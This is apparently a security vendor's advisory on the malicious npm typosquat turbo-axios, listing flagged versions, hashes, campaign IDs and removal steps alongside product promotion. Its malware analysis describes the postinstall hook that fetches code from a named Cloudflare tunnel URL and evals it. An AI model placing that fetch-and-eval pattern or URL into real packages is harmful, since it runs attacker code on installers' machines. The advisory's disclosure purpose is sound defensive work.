Which versions of turbo-axios are malicious?

The following npm versions of turbo-axios are flagged malicious: 1.17.2, 1.17.3. Treat any of these as compromised.

How do I remediate turbo-axios if I installed it?

turbo-axios is a typosquat — you almost certainly intended a legitimately-named package. Remove turbo-axios, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed turbo-axios — how do I know if it already compromised me?

If turbo-axios was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is turbo-axios part of a known attack campaign?

Yes — turbo-axios is associated with the IN-MAL-2026-004349, IN-MAL-2026-004362, IN-MAL-2026-004350, IN-MAL-2026-004360 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find turbo-axios across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for turbo-axios (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging turbo-axios across your stack and pipelines.

Malicious package

turbo-axiosnpm

Malicious code in turbo-axios (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-4695

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall turbo-axios

What this malware does

turbo-axios is a typosquat of the popular axios HTTP client (it re-exports the full axios API and reuses axios's repository/homepage metadata in package.json) carrying an install-time remote code execution payload. package.json declares "postinstall": "node./lib/core/eval.js". lib/core/eval.js performs fetch('https://consequences-faces-weblogs-clinical.trycloudflare.com/download/datab1') and then await eval((async () => {\n${datab2}\n})();), executing the response body as JavaScript inside an async IIFE. The destination is an anonymous, mutable Cloudflare quick-tunnel — not the publisher's infrastructure — and the fetched bytes are not pinned, hashed, or otherwise verified, so the attacker can ship arbitrary code to every installer at any time. The exfil/RCE function is misleadingly named sendAnalytics. Any npm install turbo-axios results in attacker-controlled code execution on the installer's machine with the privileges of the npm process.

Malicious versions

2 flagged

1.17.21.17.3

Indicators of compromise (SHA-256)

62503451ade68043379968f3dc4784fdb66424d55422854514e3ba1b10058324

9d7a284fd6c939193711d8b2892a48375e0d0d1e75022dd2c33799a0df3dd4c8

e2a0231d72ca5ebe4597aab01d0bae4a95762789e9be835b563639acea93ceb5

f6942a85f7291a7da9e7f27d5502a81308758330fddb9b9e2ad6299a0404bb15

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for turbo-axios (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging turbo-axios across your stack and pipelines.
If you installed it — respond
turbo-axios is a typosquat — you almost certainly intended a legitimately-named package. Remove turbo-axios, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If turbo-axios was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks turbo-axios before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. turbo-axios on npm has been identified as a malicious package (versions 1.17.2, 1.17.3 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-004349IN-MAL-2026-004362IN-MAL-2026-004350IN-MAL-2026-004360

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks turbo-axios-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring